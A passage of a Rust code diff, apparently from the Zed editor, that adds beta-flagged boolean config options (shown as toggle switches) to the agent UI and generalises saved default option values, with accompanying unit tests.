 use std::{rc::Rc, sync::Arc};
 use ui::IconName;
 
@@ -142,7 +142,7 @@ impl AgentServer for CustomAgentServer {
         });
     }
 
-    fn default_config_option(&self, config_id: &str, cx: &App) -> Option<String> {
+    fn default_config_option(&self, config_id: &str, cx: &App) -> Option<AgentConfigOptionValue> {
         let settings = cx.read_global(|settings: &SettingsStore, _| {
             settings
                 .get::<AllAgentServersSettings>(None)
@@ -152,19 +152,18 @@ impl AgentServer for CustomAgentServer {
 
         settings
             .as_ref()
-            .and_then(|s| s.default_config_option(config_id).map(|s| s.to_string()))
+            .and_then(|s| s.default_config_option(config_id).cloned())
     }
 
     fn set_default_config_option(
         &self,
         config_id: &str,
-        value_id: Option<&str>,
+        value: Option<AgentConfigOptionValue>,
         fs: Arc<dyn Fs>,
         cx: &mut App,
     ) {
         let agent_id = self.agent_id();
         let config_id = config_id.to_string();
-        let value_id = value_id.map(|s| s.to_string());
         update_settings_file(fs, cx, move |settings, _cx| {
             let settings = settings
                 .agent_servers
@@ -181,7 +180,7 @@ impl AgentServer for CustomAgentServer {
                     default_config_options,
                     ..
                 } => {
-                    if let Some(value) = value_id.clone() {
+                    if let Some(value) = value {
                         default_config_options.insert(config_id.clone(), value);
                     } else {
                         default_config_options.remove(&config_id);
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 405b6c64360568..4dcd72cbdf9b96 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -5,6 +5,7 @@ use agent_client_protocol::schema::v1 as acp;
 use agent_servers::AgentServer;
 
 use collections::HashSet;
+use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use fs::Fs;
 use fuzzy::StringMatchCandidate;
 use gpui::{
@@ -13,10 +14,10 @@ use gpui::{
 use ordered_float::OrderedFloat;
 use picker::popover_menu::PickerPopoverMenu;
 use picker::{Picker, PickerDelegate};
-use settings::SettingsStore;
+use settings::{AgentConfigOptionValue, SettingsStore};
 use ui::{
-    ElevationIndex, IconButton, KeyBinding, ListItem, ListItemSpacing, PopoverMenuHandle, Tooltip,
-    prelude::*,
+    ElevationIndex, IconButton, KeyBinding, ListItem, ListItemSpacing, PopoverMenuHandle, Switch,
+    SwitchLabelPosition, ToggleState, Tooltip, prelude::*,
 };
 use unicode_segmentation::UnicodeSegmentation;
 use util::ResultExt as _;
@@ -79,7 +80,9 @@ impl ConfigOptionsView {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> bool {
-        let Some(config_id) = self.first_config_option_id(category) else {
+        let Some(config_id) = self.first_config_option_id_matching(category, |option| {
+            matches!(&option.kind, acp::SessionConfigKind::Select(_))
+        }) else {
             return false;
         };
 
@@ -87,11 +90,7 @@ impl ConfigOptionsView {
             return false;
         };
 
-        selector.update(cx, |selector, cx| {
-            selector.toggle_picker(window, cx);
-        });
-
-        true
+        selector.update(cx, |selector, cx| selector.toggle_picker(window, cx))
     }
 
     pub fn cycle_category_option(
@@ -100,17 +99,21 @@ impl ConfigOptionsView {
         favorites_only: bool,
         cx: &mut Context<Self>,
     ) -> bool {
-        let Some(config_id) = self.first_config_option_id(category) else {
+        let render_boolean_config_options = should_render_boolean_config_options(cx);
+        let Some(config_id) = self.first_config_option_id_matching(category, |option| {
+            Self::can_cycle_config_option(option, favorites_only, render_boolean_config_options)
+        }) else {
             return false;
         };
 
         let Some(next_value) = self.next_value_for_config(&config_id, favorites_only, cx) else {
             return false;
         };
+        let default_value = setting_value_for_config_option_value(&next_value);
 
         self.agent_server.set_default_config_option(
             config_id.0.as_ref(),
-            Some(next_value.0.as_ref()),
+            default_value,
             self.fs.clone(),
             cx,
         );
@@ -129,17 +132,30 @@ impl ConfigOptionsView {
         true
     }
 
-    fn first_config_option_id(
+    fn first_config_option_id_matching(
         &self,
         category: acp::SessionConfigOptionCategory,
+        predicate: impl Fn(&acp::SessionConfigOption) -> bool,
     ) -> Option<acp::SessionConfigId> {
         self.config_options
             .config_options()
             .into_iter()
-            .find(|option| option.category.as_ref() == Some(&category))
+            .find(|option| option.category.as_ref() == Some(&category) && predicate(option))
             .map(|option| option.id)
     }
 
+    fn can_cycle_config_option(
+        option: &acp::SessionConfigOption,
+        favorites_only: bool,
+        render_boolean_config_options: bool,
+    ) -> bool {
+        match &option.kind {
+            acp::SessionConfigKind::Select(_) => true,
+            acp::SessionConfigKind::Boolean(_) => !favorites_only && render_boolean_config_options,
+            _ => false,
+        }
+    }
+
     fn selector_for_config_id(
         &self,
         config_id: &acp::SessionConfigId,
@@ -156,35 +172,57 @@ impl ConfigOptionsView {
         config_id: &acp::SessionConfigId,
         favorites_only: bool,
         cx: &mut Context<Self>,
-    ) -> Option<acp::SessionConfigValueId> {
-        let mut options = extract_options(&self.config_options, config_id);
-        if options.is_empty() {
-            return None;
-        }
+    ) -> Option<acp::SessionConfigOptionValue> {
+        let option = self
+            .config_options
+            .config_options()
+            .into_iter()
+            .find(|option| &option.id == config_id)?;
 
-        if favorites_only {
-            let favorites = self
-                .agent_server
-                .favorite_config_option_value_ids(config_id, cx);
-            options.retain(|option| favorites.contains(&option.value));
-            if options.is_empty() {
-                return None;
-            }
-        }
+        match &option.kind {
+            acp::SessionConfigKind::Select(_) => {
+                let mut options = extract_options(&self.config_options, config_id);
+                if options.is_empty() {
+                    return None;
+                }
 
-        let current_value = get_current_value(&self.config_options, config_id);
-        let current_index = current_value
-            .as_ref()
-            .and_then(|current| options.iter().position(|option| &option.value == current))
-            .unwrap_or(usize::MAX);
+                if favorites_only {
+                    let favorites = self
+                        .agent_server
+                        .favorite_config_option_value_ids(config_id, cx);
+                    options.retain(|option| favorites.contains(&option.value));
+                    if options.is_empty() {
+                        return None;
+                    }
+                }
 
-        let next_index = if current_index == usize::MAX {
-            0
-        } else {
-            (current_index + 1) % options.len()
-        };
+                let current_value = get_current_select_value(&self.config_options, config_id);
+                let current_index = current_value
+                    .as_ref()
+                    .and_then(|current| options.iter().position(|option| &option.value == current))
+                    .unwrap_or(usize::MAX);
 
-        Some(options[next_index].value.clone())
+                let next_index = if current_index == usize::MAX {
+                    0
+                } else {
+                    (current_index + 1) % options.len()
+                };
+
+                Some(acp::SessionConfigOptionValue::value_id(
+                    options[next_index].value.clone(),
+                ))
+            }
+            acp::SessionConfigKind::Boolean(boolean) => {
+                if favorites_only || !should_render_boolean_config_options(cx) {
+                    None
+                } else {
+                    Some(acp::SessionConfigOptionValue::boolean(
+                        !boolean.current_value,
+                    ))
+                }
+            }
+            _ => None,
+        }
     }
 
     fn config_option_ids(
@@ -256,8 +294,10 @@ impl Render for ConfigOptionsView {
 struct ConfigOptionSelector {
     config_options: Rc<dyn AgentSessionConfigOptions>,
     config_id: acp::SessionConfigId,
-    picker_handle: PopoverMenuHandle<Picker<ConfigOptionPickerDelegate>>,
-    picker: Entity<Picker<ConfigOptionPickerDelegate>>,
+    agent_server: Rc<dyn AgentServer>,
+    fs: Arc<dyn Fs>,
+    picker_handle: Option<PopoverMenuHandle<Picker<ConfigOptionPickerDelegate>>>,
+    picker: Option<Entity<Picker<ConfigOptionPickerDelegate>>>,
     setting_value: bool,
 }
 
@@ -270,21 +310,26 @@ impl ConfigOptionSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let option_count = config_options
+        let current_option = config_options
             .config_options()
-            .iter()
-            .find(|opt| opt.id == config_id)
+            .into_iter()
+            .find(|opt| opt.id == config_id);
+        let option_count = current_option
+            .as_ref()
             .map(count_config_options)
             .unwrap_or(0);
+        let is_select = current_option
+            .as_ref()
+            .is_some_and(|option| matches!(&option.kind, acp::SessionConfigKind::Select(_)));
 
         let is_searchable = option_count >= PICKER_THRESHOLD;
 
-        let picker = {
+        let (picker_handle, picker) = if is_select {
             let config_options = config_options.clone();
             let config_id = config_id.clone();
             let agent_server = agent_server.clone();
             let fs = fs.clone();
-            cx.new(move |picker_cx| {
+            let picker = cx.new(move |picker_cx| {
                 let delegate = ConfigOptionPickerDelegate::new(
                     config_options,
                     config_id,
@@ -301,13 +346,18 @@ impl ConfigOptionSelector {
                 }
                 .show_scrollbar(true)
                 .initial_width(rems(20.))
-            })
+            });
+            (Some(PopoverMenuHandle::default()), Some(picker))
+        } else {
+            (None, None)
         };
 
         Self {
             config_options,
             config_id,
-            picker_handle: PopoverMenuHandle::default(),
+            agent_server,
+            fs,
+            picker_handle,
             picker,
             setting_value: false,
         }
@@ -324,8 +374,13 @@ impl ConfigOptionSelector {
         &self.config_id
     }
 
-    fn toggle_picker(&self, window: &mut Window, cx: &mut Context<Self>) {
-        self.picker_handle.toggle(window, cx);
+    fn toggle_picker(&self, window: &mut Window, cx: &mut Context<Self>) -> bool {
+        if let Some(picker_handle) = &self.picker_handle {
+            picker_handle.toggle(window, cx);
+            true
+        } else {
+            false
+        }
     }
 
     fn current_value_name(&self) -> String {
@@ -346,7 +401,10 @@ impl ConfigOptionSelector {
         self.config_options
             .config_options()
             .into_iter()
-            .find(|option| option.category.as_ref() == Some(category))
+            .find(|option| {
+                option.category.as_ref() == Some(category)
+                    && matches!(&option.kind, acp::SessionConfigKind::Select(_))
+            })
             .is_some_and(|option| option.id == self.config_id)
     }
 
@@ -358,7 +416,11 @@ impl ConfigOptionSelector {
                 .disabled(true);
         };
 
-        let icon = if self.picker_handle.is_deployed() {
+        let picker_deployed = self
+            .picker_handle
+            .as_ref()
+            .is_some_and(|picker_handle| picker_handle.is_deployed());
+        let icon = if picker_deployed {
             IconName::ChevronUp
         } else {
             IconName::ChevronDown
@@ -390,88 +452,173 @@ impl Render for ConfigOptionSelector {
             return div().into_any_element();
         };
 
-        let trigger_button = self.render_trigger_button(window, cx);
+        match &option.kind {
+            acp::SessionConfigKind::Select(_) => {
+                let (Some(picker), Some(picker_handle)) =
+                    (self.picker.clone(), self.picker_handle.clone())
+                else {
+                    return div().into_any_element();
+                };
+
+                let trigger_button = self.render_trigger_button(window, cx);
+
+                let show_category_keybindings = option
+                    .category
+                    .as_ref()
+                    .is_some_and(|category| self.handles_category_keybindings(category));
+                let option_category = option.category.clone();
+                let option_name = option.name.clone();
+                let option_description: Option<SharedString> =
+                    option.description.clone().map(Into::into);
+
+                let tooltip = Tooltip::element(move |_window, cx| {
+                    let mut content = v_flex().gap_1().child(Label::new(option_name.clone()));
+                    if let Some(desc) = option_description.as_ref() {
+                        content = content.child(
+                            Label::new(desc.clone())
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        );
+                    }
 
-        let show_category_keybindings = option
-            .category
-            .as_ref()
-            .is_some_and(|category| self.handles_category_keybindings(category));
-        let option_category = option.category.clone();
-        let option_name = option.name.clone();
-        let option_description: Option<SharedString> = option.description.map(Into::into);
-
-        let tooltip = Tooltip::element(move |_window, cx| {
-            let mut content = v_flex().gap_1().child(Label::new(option_name.clone()));
-            if let Some(desc) = option_description.as_ref() {
-                content = content.child(
-                    Label::new(desc.clone())
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                );
+                    let action_tooltip_container = |label: &str, keybinding: KeyBinding| {
+                        h_flex()
+                            .pt_1()
+                            .gap_2()
+                            .justify_between()
+                            .border_t_1()
+                            .border_color(cx.theme().colors().border_variant)
+                            .child(Label::new(label))
+                            .child(keybinding)
+                    };
+
+                    if show_category_keybindings && let Some(category) = &option_category {
+                        match category {
+                            acp::SessionConfigOptionCategory::Mode => {
+                                content = content
+                                    .child(action_tooltip_container(
+                                        "Change Mode",
+                                        KeyBinding::for_action(&ToggleProfileSelector, cx),
+                                    ))
+                                    .child(action_tooltip_container(
+                                        "Cycle Through Modes",
+                                        KeyBinding::for_action(&CycleModeSelector, cx),
+                                    ));
+                            }
+                            acp::SessionConfigOptionCategory::Model => {
+                                content = content
+                                    .child(action_tooltip_container(
+                                        "Change Model",
+                                        KeyBinding::for_action(&ToggleModelSelector, cx),
+                                    ))
+                                    .child(action_tooltip_container(
+                                        "Cycle Favorite Models",
+                                        KeyBinding::for_action(&CycleFavoriteModels, cx),
+                                    ));
+                            }
+                            acp::SessionConfigOptionCategory::ThoughtLevel => {
+                                content = content
+                                    .child(action_tooltip_container(
+                                        "Change Thinking Effort",
+                                        KeyBinding::for_action(&ToggleThinkingEffortMenu, cx),
+                                    ))
+                                    .child(action_tooltip_container(
+                                        "Cycle Thinking Effort",
+                                        KeyBinding::for_action(&CycleThinkingEffort, cx),
+                                    ));
+                            }
+                            _ => {}
+                        }
+                    }
+                    content.into_any()
+                });
+
+                PickerPopoverMenu::new(
+                    picker,
+                    trigger_button,
+                    tooltip,
+                    gpui::Anchor::BottomRight,
+                    cx,
+                )
+                .with_handle(picker_handle)
+                .render(window, cx)
+                .into_any_element()
             }
+            acp::SessionConfigKind::Boolean(boolean) => {
+                if !should_render_boolean_config_options(cx) {
+                    return div().into_any_element();
+                }
 
-            let action_tooltip_container = |label: &str, keybinding: KeyBinding| {
-                h_flex()
-                    .pt_1()
-                    .gap_2()
-                    .justify_between()
-                    .border_t_1()
-                    .border_color(cx.theme().colors().border_variant)
-                    .child(Label::new(label))
-                    .child(keybinding)
-            };
-
-            if show_category_keybindings && let Some(category) = &option_category {
-                match category {
-                    acp::SessionConfigOptionCategory::Mode => {
-                        content = content
-                            .child(action_tooltip_container(
-                                "Change Mode",
-                                KeyBinding::for_action(&ToggleProfileSelector, cx),
-                            ))
-                            .child(action_tooltip_container(
-                                "Cycle Through Modes",
-                                KeyBinding::for_action(&CycleModeSelector, cx),
-                            ));
-                    }
-                    acp::SessionConfigOptionCategory::Model => {
-                        content = content
-                            .child(action_tooltip_container(
-                                "Change Model",
-                                KeyBinding::for_action(&ToggleModelSelector, cx),
-                            ))
-                            .child(action_tooltip_container(
-                                "Cycle Favorite Models",
-                                KeyBinding::for_action(&CycleFavoriteModels, cx),
-                            ));
+                let option_id = option.id.clone();
+                let option_name: SharedString = option.name.clone().into();
+                let option_description: Option<SharedString> =
+                    option.description.clone().map(Into::into);
+                let tooltip_name = option_name.clone();
+                let tooltip = Tooltip::element(move |_window, _cx| {
+                    let mut content = v_flex().gap_1().child(Label::new(tooltip_name.clone()));
+                    if let Some(desc) = option_description.as_ref() {
+                        content = content.child(
+                            Label::new(desc.clone())
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        );
                     }
-                    acp::SessionConfigOptionCategory::ThoughtLevel => {
-                        content = content
-                            .child(action_tooltip_container(
-                                "Change Thinking Effort",
-                                KeyBinding::for_action(&ToggleThinkingEffortMenu, cx),
-                            ))
-                            .child(action_tooltip_container(
-                                "Cycle Thinking Effort",
-                                KeyBinding::for_action(&CycleThinkingEffort, cx),
-                            ));
-                    }
-                    _ => {}
-                }
-            }
-            content.into_any()
-        });
+                    content.into_any()
+                });
+
+                let config_id = self.config_id.clone();
+                let config_options = self.config_options.clone();
+                let agent_server = self.agent_server.clone();
+                let fs = self.fs.clone();
+                let current_value = boolean.current_value;
+                let toggle_state = if current_value {
+                    ToggleState::Selected
+                } else {
+                    ToggleState::Unselected
+                };
 
-        PickerPopoverMenu::new(
-            self.picker.clone(),
-            trigger_button,
-            tooltip,
-            gpui::Anchor::BottomRight,
-            cx,
-        )
-        .with_handle(self.picker_handle.clone())
-        .render(window, cx)
-        .into_any_element()
+                h_flex()
+                    .id(ElementId::Name(
+                        format!("config-option-{}", option_id.0).into(),
+                    ))
+                    .pr_1()
+                    .tooltip(tooltip)
+                    .child(
+                        Switch::new(
+                            ElementId::Name(format!("config-option-{}-switch", option_id.0).into()),
+                            toggle_state,
+                        )
+                        .label(option_name)
+                        .label_position(SwitchLabelPosition::Start)
+                        .label_size(LabelSize::Small)
+                        .disabled(self.setting_value)
+                        .on_click(move |state, _window, cx| {
+                            let next_value = matches!(state, ToggleState::Selected);
+                            agent_server.set_default_config_option(
+                                config_id.0.as_ref(),
+                                Some(AgentConfigOptionValue::Boolean(next_value)),
+                                fs.clone(),
+                                cx,
+                            );
+
+                            let task = config_options.set_config_option(
+                                config_id.clone(),
+                                acp::SessionConfigOptionValue::boolean(next_value),
+                                cx,
+                            );
+
+                            cx.spawn(async move |_| {
+                                if let Err(err) = task.await {
+                                    log::error!("Failed to set config option: {:?}", err);
+                                }
+                            })
+                            .detach();
+                        }),
+                    )
+                    .into_any_element()
+            }
+            _ => div().into_any_element(),
+        }
     }
 }
 
@@ -516,7 +663,7 @@ impl ConfigOptionPickerDelegate {
         let all_options = extract_options(&config_options, &config_id);
         let filtered_entries = options_to_picker_entries(&all_options, &favorites);
 
-        let current_value = get_current_value(&config_options, &config_id);
+        let current_value = get_current_select_value(&config_options, &config_id);
         let selected_index = current_value
             .and_then(|current| {
                 filtered_entries.iter().position(|entry| {
@@ -554,7 +701,7 @@ impl ConfigOptionPickerDelegate {
     }
 
     fn current_value(&self) -> Option<acp::SessionConfigValueId> {
-        get_current_value(&self.config_options, &self.config_id)
+        get_current_select_value(&self.config_options, &self.config_id)
     }
 }
 
@@ -639,13 +786,13 @@ impl PickerDelegate for ConfigOptionPickerDelegate {
         {
             self.agent_server.set_default_config_option(
                 self.config_id.0.as_ref(),
-                Some(option.value.0.as_ref()),
+                Some(AgentConfigOptionValue::ValueId(option.value.0.to_string())),
                 self.fs.clone(),
                 cx,
             );
             let task = self.config_options.set_config_option(
                 self.config_id.clone(),
-                option.value.clone(),
+                acp::SessionConfigOptionValue::value_id(option.value.clone()),
                 cx,
             );
 
@@ -816,7 +963,7 @@ fn extract_options(
     }
 }
 
-fn get_current_value(
+fn get_current_select_value(
     config_options: &Rc<dyn AgentSessionConfigOptions>,
     config_id: &acp::SessionConfigId,
 ) -> Option<acp::SessionConfigValueId> {
@@ -830,6 +977,24 @@ fn get_current_value(
         })
 }
 
+fn setting_value_for_config_option_value(
+    value: &acp::SessionConfigOptionValue,
+) -> Option<AgentConfigOptionValue> {
+    match value {
+        acp::SessionConfigOptionValue::ValueId { value } => {
+            Some(AgentConfigOptionValue::ValueId(value.0.to_string()))
+        }
+        acp::SessionConfigOptionValue::Boolean { value } => {
+            Some(AgentConfigOptionValue::Boolean(*value))
+        }
+        _ => None,
+    }
+}
+
+fn should_render_boolean_config_options(cx: &App) -> bool {
+    cx.has_flag::<AcpBetaFeatureFlag>()
+}
+
 fn options_to_picker_entries(
     options: &[ConfigOptionValue],
     favorites: &HashSet<acp::SessionConfigValueId>,
@@ -945,8 +1110,9 @@ fn count_config_options(option: &acp::SessionConfigOption) -> usize {
 mod tests {
     use super::*;
     use acp_thread::AgentConnection;
+    use feature_flags::FeatureFlag as _;
     use fs::FakeFs;
-    use gpui::TestAppContext;
+    use gpui::{TestAppContext, UpdateGlobal};
     use parking_lot::Mutex;
     use project::{AgentId, Project};
     use std::{any::Any, cell::RefCell};
@@ -988,17 +1154,219 @@ mod tests {
 
         assert_eq!(
             agent_server.saved_defaults.lock().as_slice(),
-            &[("mode".to_string(), Some("manual".to_string()))]
+            &[(
+                "mode".to_string(),
+                Some(AgentConfigOptionValue::ValueId("manual".to_string()))
+            )]
+        );
+        assert_eq!(
+            config_options.set_values.borrow().as_slice(),
+            &[(
+                "mode".to_string(),
+                acp::SessionConfigOptionValue::value_id("manual")
+            )]
+        );
+    }
+
+    #[gpui::test]
+    fn cycling_boolean_config_option_saves_selected_value_as_default(cx: &mut TestAppContext) {
+        let agent_server = Rc::new(TestAgentServer::default());
+        let config_options = Rc::new(TestSessionConfigOptions::new(vec![
+            acp::SessionConfigOption::boolean("web_search", "Web Search", false)
+                .category(acp::SessionConfigOptionCategory::ModelConfig),
+        ]));
+        let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
+
+        cx.update(|cx| {
+            init_feature_flag_settings(cx);
+            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "on", cx);
+
+            let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
+            let agent_server: Rc<dyn AgentServer> = agent_server.clone();
+            let fs = fs.clone();
+            let view = cx.new(|_| ConfigOptionsView {
+                config_option_ids: ConfigOptionsView::config_option_ids(&config_options),
+                config_options,
+                selectors: Vec::new(),
+                agent_server,
+                fs,
+                _refresh_task: Task::ready(()),
+            });
+
+            assert!(view.update(cx, |view, cx| {
+                view.cycle_category_option(acp::SessionConfigOptionCategory::ModelConfig, false, cx)
+            }));
+        });
+
+        assert_eq!(
+            agent_server.saved_defaults.lock().as_slice(),
+            &[(
+                "web_search".to_string(),
+                Some(AgentConfigOptionValue::Boolean(true))
+            )]
+        );
+        assert_eq!(
+            config_options.set_values.borrow().as_slice(),
+            &[(
+                "web_search".to_string(),
+                acp::SessionConfigOptionValue::boolean(true)
+            )]
+        );
+    }
+
+    #[gpui::test]
+    fn cycling_hidden_boolean_config_option_is_unhandled(cx: &mut TestAppContext) {
+        let agent_server = Rc::new(TestAgentServer::default());
+        let config_options = Rc::new(TestSessionConfigOptions::new(vec![
+            acp::SessionConfigOption::boolean("web_search", "Web Search", false)
+                .category(acp::SessionConfigOptionCategory::ModelConfig),
+        ]));
+        let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
+
+        cx.update(|cx| {
+            init_feature_flag_settings(cx);
+            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
+
+            let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
+            let agent_server: Rc<dyn AgentServer> = agent_server.clone();
+            let fs = fs.clone();
+            let view = cx.new(|_| ConfigOptionsView {
+                config_option_ids: ConfigOptionsView::config_option_ids(&config_options),
+                config_options,
+                selectors: Vec::new(),
+                agent_server,
+                fs,
+                _refresh_task: Task::ready(()),
+            });
+
+            assert!(!view.update(cx, |view, cx| {
+                view.cycle_category_option(acp::SessionConfigOptionCategory::ModelConfig, false, cx)
+            }));
+        });
+
+        assert!(agent_server.saved_defaults.lock().is_empty());
+        assert!(config_options.set_values.borrow().is_empty());
+    }
+
+    #[gpui::test]
+    fn cycling_category_skips_hidden_boolean_config_option(cx: &mut TestAppContext) {
+        let agent_server = Rc::new(TestAgentServer::default());
+        let config_options = Rc::new(TestSessionConfigOptions::new(vec![
+            acp::SessionConfigOption::boolean("web_search", "Web Search", false)
+                .category(acp::SessionConfigOptionCategory::Model),
+            acp::SessionConfigOption::select(
+                "model",
+                "Model",
+                "small",
+                vec![
+                    acp::SessionConfigSelectOption::new("small", "Small"),
+                    acp::SessionConfigSelectOption::new("large", "Large"),
+                ],
+            )
+            .category(acp::SessionConfigOptionCategory::Model),
+        ]));
+        let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
+
+        cx.update(|cx| {
+            init_feature_flag_settings(cx);
+            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
+
+            let config_options: Rc<dyn AgentSessionConfigOptions> = config_options.clone();
+            let agent_server: Rc<dyn AgentServer> = agent_server.clone();
+            let fs = fs.clone();
+            let view = cx.new(|_| ConfigOptionsView {
+                config_option_ids: ConfigOptionsView::config_option_ids(&config_options),
+                config_options,
+                selectors: Vec::new(),
+                agent_server,
+                fs,
+                _refresh_task: Task::ready(()),
+            });
+
+            assert!(view.update(cx, |view, cx| {
+                view.cycle_category_option(acp::SessionConfigOptionCategory::Model, false, cx)
+            }));
+        });
+
+        assert_eq!(
+            agent_server.saved_defaults.lock().as_slice(),
+            &[(
+                "model".to_string(),
+                Some(AgentConfigOptionValue::ValueId("large".to_string()))
+            )]
         );
         assert_eq!(
             config_options.set_values.borrow().as_slice(),
-            &[("mode".to_string(), "manual".to_string())]
+            &[(
+                "model".to_string(),
+                acp::SessionConfigOptionValue::value_id("large")
+            )]
         );
     }
 
+    #[gpui::test]
+    fn toggling_category_picker_without_select_config_option_is_unhandled(cx: &mut TestAppContext) {
+        let agent_server = Rc::new(TestAgentServer::default());
+        let config_options = Rc::new(TestSessionConfigOptions::new(vec![
+            acp::SessionConfigOption::boolean("web_search", "Web Search", false)
+                .category(acp::SessionConfigOptionCategory::Model),
+        ]));
+        let fs: Arc<dyn Fs> = FakeFs::new(cx.executor());
+        let cx = cx.add_empty_window();
+        let view = cx.update({
+            move |window, cx| {
+                let config_options: Rc<dyn AgentSessionConfigOptions> = config_options;
+                let agent_server: Rc<dyn AgentServer> = agent_server;
+                cx.new(|cx| ConfigOptionsView::new(config_options, agent_server, fs, window, cx))
+            }
+        });
+
+        let handled = cx.update(|window, cx| {
+            view.update(cx, |view, cx| {
+                view.toggle_category_picker(acp::SessionConfigOptionCategory::Model, window, cx)
+            })
+        });
+
+        assert!(!handled);
+    }
+
+    #[gpui::test]
+    fn boolean_config_option_rendering_is_beta_gated(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            init_feature_flag_settings(cx);
+
+            cx.update_flags(false, Vec::new());
+            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "off", cx);
+            assert!(!should_render_boolean_config_options(cx));
+
+            set_feature_flag_override(AcpBetaFeatureFlag::NAME, "on", cx);
+            assert!(should_render_boolean_config_options(cx));
+        });
+    }
+
     #[derive(Default)]
     struct TestAgentServer {
-        saved_defaults: Arc<Mutex<Vec<(String, Option<String>)>>>,
+        saved_defaults: Arc<Mutex<Vec<(String, Option<AgentConfigOptionValue>)>>>,
+    }
+
+    fn init_feature_flag_settings(cx: &mut App) {
+        let store = SettingsStore::test(cx);
+        cx.set_global(store);
+        SettingsStore::update_global(cx, |store, _| {
+            store.register_setting::<feature_flags::FeatureFlagsSettings>();
+        });
+        cx.update_flags(false, Vec::new());
+    }
+
+    fn set_feature_flag_override(name: &str, value: &str, cx: &mut App) {
+        SettingsStore::update_global(cx, |store, cx| {
+            store.update_user_settings(cx, |content| {
+                content
+                    .feature_flags
+                    .get_or_insert_default()
+                    .insert(name.to_string(), value.to_string());
+            });
+        });
     }
 
     impl AgentServer for TestAgentServer {
@@ -1026,20 +1394,19 @@ mod tests {
         fn set_default_config_option(
             &self,
             config_id: &str,
-            value_id: Option<&str>,
+            value: Option<AgentConfigOptionValue>,
             _fs: Arc<dyn Fs>,
             _cx: &mut App,
         ) {
-            self.saved_defaults.lock().push((
-                config_id.to_string(),
-                value_id.map(|value| value.to_string()),
-            ));
+            self.saved_defaults
+                .lock()
+                .push((config_id.to_string(), value));
         }
     }
 
     struct TestSessionConfigOptions {
         options: RefCell<Vec<acp::SessionConfigOption>>,
-        set_values: RefCell<Vec<(String, String)>>,
+        set_values: RefCell<Vec<(String, acp::SessionConfigOptionValue)>>,
     }
 
     impl TestSessionConfigOptions {
@@ -1059,19 +1426,31 @@ mod tests {
         fn set_config_option(
             &self,
             config_id: acp::SessionConfigId,
-            value: acp::SessionConfigValueId,
+            value: acp::SessionConfigOptionValue,
             _cx: &mut App,
         ) -> Task<anyhow::Result<Vec<acp::SessionConfigOption>>> {
             self.set_values
                 .borrow_mut()
-                .push((config_id.0.to_string(), value.0.to_string()));
+                .push((config_id.0.to_string(), value.clone()));
 
             let options = {
                 let mut options = self.options.borrow_mut();
-                if let Some(option) = options.iter_mut().find(|option| option.id == config_id)
-                    && let acp::SessionConfigKind::Select(select) = &mut option.kind
-                {
-                    select.current_value = value;
+                if let Some(option) = options.iter_mut().find(|option| option.id == config_id) {
+                    match (&mut option.kind, value) {
+                        (
+                            acp::SessionConfigKind::Select(select),
+                            acp::SessionConfigOptionValue::ValueId { value },
+                        ) => {
+                            select.current_value = value;
+                        }
+                        (
+                            acp::SessionConfigKind::Boolean(boolean),
+                            acp::SessionConfigOptionValue::Boolean { value },
+                        ) => {
+                            boolean.current_value = value;
+                        }
+                        _ => {}
+                    }
                 }
                 options.clone()
             };
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index e3e941a140b29f..a101920102b670 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -1160,7 +1160,6 @@ impl ConversationView {
 
         // Check for config options first
         // Config options take precedence over legacy mode/model selectors
-        // (feature flag gating happens at the data layer)
         let config_options_provider = connection.session_config_options(&session_id, cx);
 
         let config_options_view;
diff --git a/crates/project/src/agent_server_store.rs b/crates/project/src/agent_server_store.rs
index caeb28612edd35..89f8b98354f450 100644
--- a/crates/project/src/agent_server_store.rs
+++ b/crates/project/src/agent_server_store.rs
@@ -21,7 +21,7 @@ use rpc::{AnyProtoClient, TypedEnvelope, proto};
 use schemars::JsonSchema;
 use semver::Version;
 use serde::{Deserialize, Serialize};
-use settings::{RegisterSetting, SettingsStore, update_settings_file};
+use settings::{AgentConfigOptionValue, RegisterSetting, SettingsStore, update_settings_file};
 use sha2::{Digest, Sha256};
 use url::Url;
 use util::{ResultExt as _, debug_panic};
@@ -1524,10 +1524,10 @@ pub enum CustomAgentServerSettings {
         default_mode: Option<String>,
         /// Default values for session config options.
         ///
-        /// This is a map from config option ID to value ID.
+        /// This is a map from config option ID to the default value for that option.
         ///
         /// Default: {}
-        default_config_options: HashMap<String, String>,
+        default_config_options: HashMap<String, AgentConfigOptionValue>,
         /// Favorited values for session config options.
         ///
         /// This is a map from config option ID to a list of favorited value IDs.
@@ -1548,10 +1548,10 @@ pub enum CustomAgentServerSettings {
         default_mode: Option<String>,
         /// Default values for session config options.
         ///
-        /// This is a map from config option ID to value ID.
+        /// This is a map from config option ID to the default value for that option.
         ///
         /// Default: {}
-        default_config_options: HashMap<String, String>,
+        default_config_options: HashMap<String, AgentConfigOptionValue>,
         /// Favorited values for session config options.
         ///
         /// This is a map from config option ID to a list of favorited value IDs.
@@ -1576,7 +1576,7 @@ impl CustomAgentServerSettings {
         }
     }
 
-    pub fn default_config_option(&self, config_id: &str) -> Option<&str> {
+    pub fn default_config_option(&self, config_id: &str) -> Option<&AgentConfigOptionValue> {
         match self {
             CustomAgentServerSettings::Custom {
                 default_config_options,
@@ -1585,7 +1585,7 @@ impl CustomAgentServerSettings {
             | CustomAgentServerSettings::Registry {
